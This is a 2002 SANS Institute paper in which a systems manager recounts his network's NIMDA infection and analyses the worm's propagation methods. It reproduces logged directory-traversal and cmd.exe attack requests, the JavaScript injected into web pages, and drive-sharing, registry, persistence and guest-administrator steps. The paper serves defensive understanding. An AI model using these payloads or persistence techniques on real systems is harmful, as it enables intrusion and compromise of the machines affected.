SANS Institute
Information Security Reading Room

Raising the Stakes: How NIMDA Represents an Increased Threat to the Integrity of Enterprise Networks

Joseph Kidd

Copyright SANS Institute 2021. Author Retains Full Rights.

This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission.

Raising the Stakes: How NIMDA represents an increased threat to the integrity of enterprise networks.

On September 17, 2001 I was in the final stages of deploying a new live streaming video system for my employer. Several associates at different locations around the country had been given the appropriate IP addresses, the drivers for the various desktop video cameras were loaded and I had just finished coding the chat controls on my web server. It was an informal project, put together mostly as a proof of concept, and I was eager to present a live demonstration to my organization's senior executives. As my organization's Systems Manager, this project was barely a blip on the radar compared to the usual rush of routine chores, but I had time to indulge in this flight of fancy because my network and servers were running like clockwork; my logs and event files were sending me their predictable messages, my network sniffer was keeping its nose on the wire for anything that smelled funny, and my anti-virus software and virus and fire-walls were squashing every potential threat.

On the morning of September 18, I was preparing my presentation when I received a call: "the Internet is slow". Nothing strange about that, I'd just do a quick trace and find the bottleneck. An hour passed, as did the usual explanations for a network slowdown, and I found myself logged into my router, watching a flood of strange packets, using a strange protocol, going to a strange pattern of addresses -- and things were about to get stranger. I didn't know it at the time but my network was being infiltrated by NIMDA and for me, the era of free love on the Internet was about to come to an abrupt halt. That was four months ago and I still haven't made that presentation on video conferencing. I have, however, significantly tightened my network's security measures and, more importantly, I have developed a healthy sense of paranoia regarding the potential impact of viruses with NIMDA's sophistication. * [Note: While the term "worm" more accurately describes NIMDA due to its self-propagating features, I'll be using the more generic term "virus".]

In the course of recovering from NIMDA, I found that a complete picture of NIMDA was elusive. The anti-virus companies, security information clearinghouses, and my colleagues seemed to be learning more about the virus with each passing day and each new source I explored seemed to bring some new feature to light, while missing some other features completely. Eventually, many of the sources seemed to say, and I'm not quoting directly, "… and NIMDA may be doing other things that we don't know". And, "… the only certain method of recovery is to reformat your disk."

After several long days, I was able to recover my network intact, but the experience left me in awe of this virus. Our network has been on the Internet since 1995 so I've seen my share of hacks and attacks, but NIMDA seemed, and still seems, different. Its comprehensiveness and persistence led me to understand that we are seeing a greater threat to the integrity of enterprise networks than ever before and that a solid and vigilant network security architecture has become an essential element of systems management. In this paper, I'd like to demonstrate this fact by reviewing just how dangerous and effective the NIMDA virus is, and how it represents a significant threat to the integrity of enterprise networks. My goal here is not to outline a series of steps for recovering from a NIMDA attack, but rather to discuss in some detail the features that make NIMDA so effective.

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

Nimda, also known as W32.Nimda.A, Concept Virus (CV) V.5.0, Concept5, Code Rainbow and Minda, began infecting systems worldwide on the morning of September 18, 2001. On this date, many systems administrators began to see a tremendous increase in the number of scans against their web sites, and many users began to see strange email messages that appeared to contain an empty audio file. An analysis of the intrusion detection system log files of 95 users reporting to the Attack Registry and Intelligence Service, run by Security Focus, showed a sharp increase on the morning of the 18th of Directory Traversal Attacks, "cmd.exe" Request attacks, Escaped Characters Decoding Command Execution Attacks, and Extended Unicode Directory Traversal Attacks, among others. (*5) These attacks were being reported worldwide, with most of the reports coming from the United States, the United Kingdom, Canada and Norway; though Italy, Germany, Denmark, the Netherlands, Brazil and Austria also reported activity. Regardless of the demographic breakdown, NIMDA spread with unprecedented speed. Its incredible success in propagating throughout the world was due to the wide range of infection mechanisms it used. The NIMDA virus was so complex that anti-virus companies and security clearinghouses were forced to constantly revise their published accounts of the virus, providing great frustration to those of us who were developing action plans based on ever-changing information. Initial reports stated the NIMDA carried no destructive payload beyond modification of web content to facilitate its own propagation and denial of service as a result of network scanning and email propagation.(*1). It later became obvious that the virus was infecting executables and document files, disabling security features through account creation and registry changes, and gaining execute privileges throughout numerous "secured" server directories, among other devious goals. After my intense attention to this virus over the period of time that my network was affected, I became frustrated that the impact of NIMDA seemed to be under-played in the media, since it was clear to me that it was on a level of magnitude more complex than any other virus with such a wide distribution had been. Of course, this was almost exactly one week after the World Trade Center disaster and the media was understandably focused on larger concerns. NIMDA represents an evolution in the sophistication of Internet viruses and a comprehensive look at its methods of attack should make any systems or network administrator more security-focused. The following section details NIMDA's methods of attack.

Methods of Attack

Email:

On the morning of September 18, 2001 computer users around the world received emails that appeared to contain an empty audio file. Due to the "Automatic Execution of Embedded MIME Types" vulnerability, any mail software running on an x86 platform that used Microsoft Internet Explorer 5.5 SP1 or earlier (except for IE 5.01 SP2) automatically ran the enclosed attachment called "readme.exe" which was, of course, infected with NIMDA. It wasn't necessary for the email user to actively run the attachment for the virus to execute, it was executed just by opening the email. In fact, a user didn't have to open the email at all to execute the worm since it would activate automatically once they received the email, as long as they had auto previewing of messages enabled on a susceptible email program. The Automatic Execution of Embedded MIME Types is meant allow a user to see html encoded email messages, but in this case it was exploited to automatically run the NIMDA virus.

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

The infected MIME-type (Multipurpose Internet Mail Extensions) email messages contain two sections. The first section, defined as MIME type "text/html", doesn't contain any text, making the email appear to have no content. The second section, defined as MIME type "audio/x-wav", doesn't actually contain a legitimate audio file, but rather the base64-encoded binary attachment "readme.exe". "Readme.exe" has many slight variations, causing the MD5 (Message Digest number 5) checksum to be different when comparing the payload of different email messages, yet the length of the actual binary is a constant 57344 bytes. An infected file is also frequently found to have a subject line of over 80 characters.

Once a PC is infected, the virus attempts to copy itself through email to all addresses found in the Windows address book, any addresses found in local and cached .htm or .html documents, as well as email addresses found in the inbox of the email client through its use of the Message Application Programming Interface (MAPI). In its efforts to appear legitimate, the virus also uses the addresses found in the email inbox to populate the "to:" and "from:" fields in the emails it sends, as well as using several well-known legitimate addresses, including: piracy@microsoft.com, codered@sans.org, webmaster@incidents.org, asportal@microsoft.com. To help guarantee the delivery of its payload through email, NIMDA is also capable of using its own, embedded SMTP services.

Target IP Address Acquisition:
Once a machine becomes infected, NIMDA not only attempts to infect other machines through email but also begins to scan IP addresses looking for vulnerable web hosts as targets. The way in which NIMDA determines what IP addresses to scan is interesting. 50% of the IP addresses chosen contain the same 1st two same octets as the IP address of its current location. For example, if the infected machine's IP address is 192.168.10.10, 50% of NIMDA's targeted IP addresses will go to 192.l68.n.n machines. Another 25% of the IP addresses chosen contain the same 1st octet (192.n.n.n) as the source, and the remaining 25 % of the targeted addresses are apparently random. This methodology makes it more likely that infections will be spread among IP addresses that are in the same "virtual neighborhood" in terms of IP space. The reasons for this are unclear but one could speculate as to two distinct benefits. First, communication between IP addresses within a class-B range would help to minimize the number of hops necessary for the infected packets to successfully transmit, thereby infecting the maximum number of hosts in the minimum amount of time; however, branching out to class-A range addresses and random addresses would insure some transmission opportunity for the virus even if the environment within the class-B range was not conducive to transmission because of traffic shaping, port blocking, etc. Second, given that ISPs tend to market IP space by market niche (associations, government, financial, etc.), one could more effectively target a group of like organizations by spreading the virus within a class-B range.

Another interesting feature of the IP scanning mechanism is that there appears to be some form of self-monitoring capability within the virus related to the number of concurrent threads it runs while scanning IP addresses. The following strings are in the worm binary: (*12)

CreateThread
SetThreadPriority

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

GetCurrentThread
CreateRemoteThread
% User Time
% Privileged Time
% Processor Time

It is unclear how these values are informing the execution of the virus, but to speculate (again) -- given that up to 200 concurrent threads can be generated by the virus while it scans for targets, it could be helpful to be able to throttle the execution of those threads based on resource consumption, perhaps allowing the virus to avoid crashing its host. Did I mention my "healthy paranoia"?

CodeRed - Sadmind / Directory Traversal Exploits:
Once the infected machine has acquired its target IP addresses, the virus attempts to exploit various vulnerabilities on the target. It begins by looking for back doors left by the Code Red virus or the Sadmind / IIS worm, where directories may have been inappropriately mapped to virtual IIS folders, allowing execute privileges in otherwise protected directories. The following web server log entries show this attempt: (#5)

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32.cmd?exe?/c+dir

Microsoft Internet Information Service/ Personal Web Server Extended Unicode Directory Traversal Exploit:
Next, NIMDA attempts to exploit the "IIS/PWS Extended Unicode Directory Traversal" vulnerability by encoding characters using their Unicode equivalents. Unicode provides a unique number for every character regardless of platform, program, or language. (#9). The use of Unicode by the NIMDA virus attempts to exploit a bug in Microsoft's Internet Information Service and Personal Web Server that allows directory traversal, despite input validation measures, if the "/ " (Unicode %c1%1c) and " \ " (Unicode %c0%2f) characters are encoded using their Unicode equivalents. In this way, the virus attempts to execute within directories that would normally be non-executable. The following is pulled from a packet found on my network attempting to use this exploit:

GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0..Host: www..Connnection: close.

And the following shows a logged view of an attempt to use a directory traversal exploit: (#5)

```
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/sys
tem32/cmd.exe?/c+dir
```

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

```
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
```

Microsoft Internet Information Server/ Personal Web Server Escaped Character Decoding Exploit:

If the target has its Extended Unicode Directory Traversal vulnerability patched, NIMDA still has another directory traversal exploit to try, the IIS/PWS Escaped Character Decoding Command Execution vulnerability. This exploit gives NIMDA another shot at passing a character to the target to allow an unauthorized directory traversal. It works by double-encoding a Unicode character. First, NIMDA attempts to pass the character by encoding it as a Unicode string, as described earlier. Then, once the target machine rejects that request (assuming they are immune to the Extended Unicode Directory Traversal exploit), the character's Unicode string is itself Unicode encoded, causing it to be passed by the target server. NIMDA exploits this to send the "\" character which allows it to traverse directories where it would not otherwise have permission.

Modification of Web Content:

If the directory traversal attempts succeed the virus writes a copy of itself as "readme.eml" to all available directories. It then discovers all of the web pages available, including .htm, .html, and .asp pages, and modifies them so that the victim is now made to participate in attacks on other targets. The following code is appended to the end of each file:

<script language-"JavaScript">
window.open ("readme.eml", null, "resizable=no, top=6000")</script>

When an unsuspecting JavaScript-enabled web browser comes upon a page containing this code, it downloads a copy of "readme.eml" and is likely to automatically execute it, thereby infecting the browsing system.

The Trivial File Transfer Protocol

NIMDA also uses a rarely used protocol called the Trivial File Transfer Protocol (TFTP) to transfer its code to a victim. TFTP is most often used by servers to boot diskless workstations, X-terminals, and routers, and communicates using the User Datagram Protocol (UDP) (*10) and is enabled by default on Windows NT servers using port 69. Internet Information Server versions 3.0, 4.0 and 5.0 are affected, as are Personal Web Server versions 1.0 and 3.0, however, the TFTP method of attack can also been done from a machine without IIS. In the TFTP attack, a machine infected with NIMDA scans IP addresses to find a vulnerable machine. Once a target is found it is made to download the file "admin.dll" from the attacking machine, via TFTP. The attacking machine accomplishes this by sending a URL to the target machine with the TFTP command embedded within the URL. The attacking machine then sends the target a URL that calls "admin.dll", causing the target machine to become infected. TFTP downloads can also include the files names "getadmin.exe" and "Getadmin.exe" in addition to "admin.dll".

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

File Share Exploits:
While NIMDA's methods of attack against web servers, particularly Microsoft's Internet Information Server and Personal Web Servers are sophisticated and very successful, it is NIMDA's network file sharing exploits that really grabbed my attention. Once I understood its potential within my network I isolated every hub from the backbone, powered those hubs down, and called an emergency all-staff meeting where I explained to 150 or so users that they were not allowed to use their PC's until further notice…not to shut down, not to save what they were working on, not to check their email. It was an extreme response, unlike anything I'd ever had to do before, but when the following information became clear to me, it seemed the only appropriate response.

Once in control of an infected system, Nimda creates numerous copies of itself in all writeable directories, including any file shares.. It creates copies as "readme.eml" but also as other names with ".eml" and ".nws" extentions. Any other system accessing one of those files then becomes infected. In fact, the user wouldn't have to necessarily open the infected file, but could become infected simply by having "Enable all web related content on my desktop" chosen in their Windows98 Explorer preferences and browsing a directory containing an infected file.

Not content with its ability to write itself to local and shared directories, NIMDA has the ability to dynamically create a network share of the C: drive, granting "everyone" "full access" privileges, with a simple "share c$=c:\" command. No reboot of the system is required for this to take affect. However, if a system is rebooted, NIMDA's modification of the following registry key would make all possible available drives shared:

HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ [C$ -> Z$]

In addition to the above registry key modification it uses to created shares, NIMDA further damages network share security by deleting all subkeys of the registry key SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Security

The scary logic of this situation is that, given enough time and enough reboots, every directory on every system on a network can become infected.

Windows Explorer and System.ini Modification:
To further safeguard its survival, NIMDA modifies the "system.ini" file so that the virus can be launched each time the system is started by placing the following line in "system.ini": "Shell = explorer.exe load.exe –dontrunold" and then copying itself to the Windows system directory under the name "load.exe". NIMDA also makes efforts to evade detection by changing Windows Explorer settings so that they won't show hidden files or known file extensions.

Account Creation:
NIMDA goes on to create a "guest" account on the infected system, if one doesn't already exist, and then makes "guest" a member of the Administrators group. This represents a major problem considering that the "guest" account has no password by default, but it also may also indicate

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

something of an attempt to lay the groundwork for an interactive hacking attempt, rather than completely autonomous worm-like behavior.

Binary File Infection:
NIMDA also has the capability to infect numerous binary files on an infected system. In typical Trojan fashion, when one of the infected binaries is launched, NIMDA's virus code is launched. However, rather than hiding its virus code within a legitimate executable, NIMDA subsumes the legitimate code within an infected copy and is therefore able to hide itself by launching a clean copy as well as the infected copy of the affected executable file, making it difficult to spot the infection. NIMDA makes a particular target of the "MMC.exe" file, which is especially damaging since it is the Microsoft Management Console from which many daily system administration activities are performed on a Windows 2000 machine. It is interesting that NIMDA excludes the Zip utility "winzip32.exe" from becoming infected, though there doesn't seem to be any use of zipped files by the virus.

Microsoft Office Document Infection:
Another method used by NIMDA to infect file shares within a network is to look for shares that contain either ".doc" or ".eml" documents. If it finds a share containing documents of these types, NIMDA will place a hidden file "riched20.dll" in the directory. When a user attempts to execute a ".doc "or ".eml" file in the directory using Microsoft's Word, Wordpad or Outlook, "riched20.dll" will be activated and the system will become infected. This is an exploit of the Microsoft Office 2000 DLL Execution vulnerability.

But Wait …
Just as we get adjusted to our new levels of "healthy paranoia" after understanding NIMDA's use of:

The Microsoft Office 2000 DLL Execution exploit
Guest account creation
Dynamic C: drive sharing
Registry modification to share all available drives
Self-replication to all available directories and shares
System.ini modification to ensure survivability
Windows Explorer auto preview auto execute
Windows Explorer modification to hide files and extensions
Stealthy reverse-Trojan binary execution
Mysterious exclusion of winzip32.exe infection
Deletion of share security registry keys
Trivial File Transfer Protocol usage for transfers
JavaScript web page modification for browser infection
IIS/PWS Escaped Character Decoding Command Execution exploit
Extended Unicode Directory Traversal exploit
Code Red and Sadmind backdoor exploit
Resource self-monitoring
Organized/optimized IP address scanning
Email address spoofing

© SANS Institute 2002, Author retains full rights.
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

MAPI-based email address acquisition and spoofing
Cached web page email address acquisition
Windows address book email address acquisition
Embedded SMTP services
MD5 checksum scan avoidance, and the
Automatic execution of embedded MIME type exploit…

someone posts a **Bogus Nimda Fix**:

A message was posted to SecurityFocus's "Incidents" mailing list in early October of 2001, claiming to be from SecurityFocus and TrendMicro. The post contained a variant of the Backdoor.Bionet.318 Trojan within an executable file attachment called "FIX_NIMDA.exe", similar in name to the legitamate TrendMicro "FIX_NIMDA.com". Upon execution, "FIX_NIMDA.exe" creates a zip file and appears to work in much the same way as the legitimate "FIX_NIMDA.com", even using the same "readme.txt" file, but may in fact be enabling keystroke logging, mass mailing, remote access, and file share creation. (*14) Both TrendMicro and SecurityFocus deny creating or posting it.

Conclusion:
It is obvious that the number of viruses and their sophistication have been steadily increasing for sometime. A few years ago my network would experience one or two virus attempts every few days. Of those, the vast majority were of the "look what I can do, Ma!" variety. Now, we regularly rebuff scores, if not hundreds, of virus attempts daily. Viruses used to take months to propagate to a significant number of systems but now flash the worldwide Internet in a matter of days, if not hours. Meanwhile, our dependence upon TCP/IP based networks continues to deepen, particularly within enterprise environments where routing and ubiquity have replaced stability and security as the primary requirements for an enterprise protocol. It seems unlikely that managers and developers of enterprise networks will ever again be able to completely avoid contact with the public Internet, especially in light of a new generation of Internet-aware applications, ala .NET, already being marketed to enterprise users. So, the obvious point is that our dependence upon inter-networked systems is inevitable and growing, as is the increased threat from inter-networked systems.

The issue becomes one of defining the threat so that a realistic approximation of risk can lead to realistic, functional counter-measures. Does the increasing complexity and severity of modern viruses indicate an organized and directed effort? Is the Internet truly becoming a battlefield where high-stakes economic, communication, and intelligence assets are at risk? Or are self-motivated hackers just getting more clever as our increasingly pervasive networked systems allow for unprecedented personal power?

A recent study published by Dartmouth College has noted that case studies show a direct relationship between political conflicts and increased cyber attack activity. After the collision, in early April, 2001, of an American spy plane and a Chinese jet fighter, Chinese hacker groups organized a massive and sustained week-long campaign of cyber attacks against American targets. NATO's communication infrastructure has been repeatedly disrupted by cyber attacks attributed to Serbians. Defacements of top-level domain Indian websites attributed to pro-

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

Pakistan cyber attackers have increased over the past few years as have Palestinian attacks against Israeli banking and financial web sites. It is thought that Code Red was originally targeted at the White House web site.(*7)

John Pescatore, former National Security Agency analyst, now research director of Internet Security for Gartner Inc. states, "I think it [cyber attacks against government and business systems] will be the next stop. Some by the usual hackers and then politically motivated hacking… its really hard to see these types of things coming." (*8)

For me, NIMDA was the writing on the wall. Now that I've seen potential of this kind of threat I'll be making the security of my network a central focus.

Sources:

*1 Danyliw, Roman; Dougherty, Chad; Householder, Allen; Ruefle, Robin -" CERT Advisory CA-2001-26 Nimda Worm" 09/18/2001. URL: www.cert.org/advisories/CA-2001-26.html

*2 "NIMDA Worm/Virus Report – Preliminary" 09/21/2001 URL: www.indidents.org/react/nimda.php

*3 Chien, Eric -"Symantec Security Response w32.Nimda.A@mm " 09/20/2001 URL: www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

*4 Bonisteel, Steven - "Security Firm Warns Of Bogus Nimda 'Fix' ", Newsbytes, San Mateo, California, U.S.A., 10/01/ 2001

*5 Mackie, Andrew; Roculan, Jensenne; Russel, Ryan; Van Velzen, Mario - "Nimda Worm Analysis, Incident Analysis Report, Version 1, " ARIS predictor, Attack Registry & Intelligence Service, 09/19/2001.

*6 "National Infrastructure Protection Center, Advisory 01-022 Mass Mailing Worm W32.Nimda.A@mm" 09/18/2001 URL: www.nipc.gov/warnings/advisories/2001/01-022.htm

*7 Vatis, Michael -"Cyber Attacks During The War On Terrorism: A Predictive Analysis", Institute for Security Technology Studies at Dartmouth College. 09/22/2001

*8 Onley, Dawn – "Analysts Say Cyberattacks are Next Wave", GCN Daily Updates. Post Newsweek Tech Media Group, 09/14/2001.

*9 "What is Unicode", URL: www.unicode.org/unicode/standard/WhatIsUnicode.html, 01/09/2002

*10 "TFTP", URL: http://www.webopedia.com/TERM/T/TFTP.html , 01/04/2002

© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full rights.

*11 “Nimda, In Depth Information” http://www.pandasoftware.com (frames), 2002

*12 “New IIS ‘Concept Virus’ Worm Propagating Quickly”, URL: www.incidents.org/alert.txt, 09/18/2001

*13 “F-Secure Nimda Information Center”, URL: www.europe.f-secure.com/nimda/nimda.shtml

*14 Slade, Robert – “Latest Virus Alert”, http://www.osborne.com/virus_alert/fix_nimda_hoax.shtml, 2001

© SANS Institute 2002, Author retains full rights.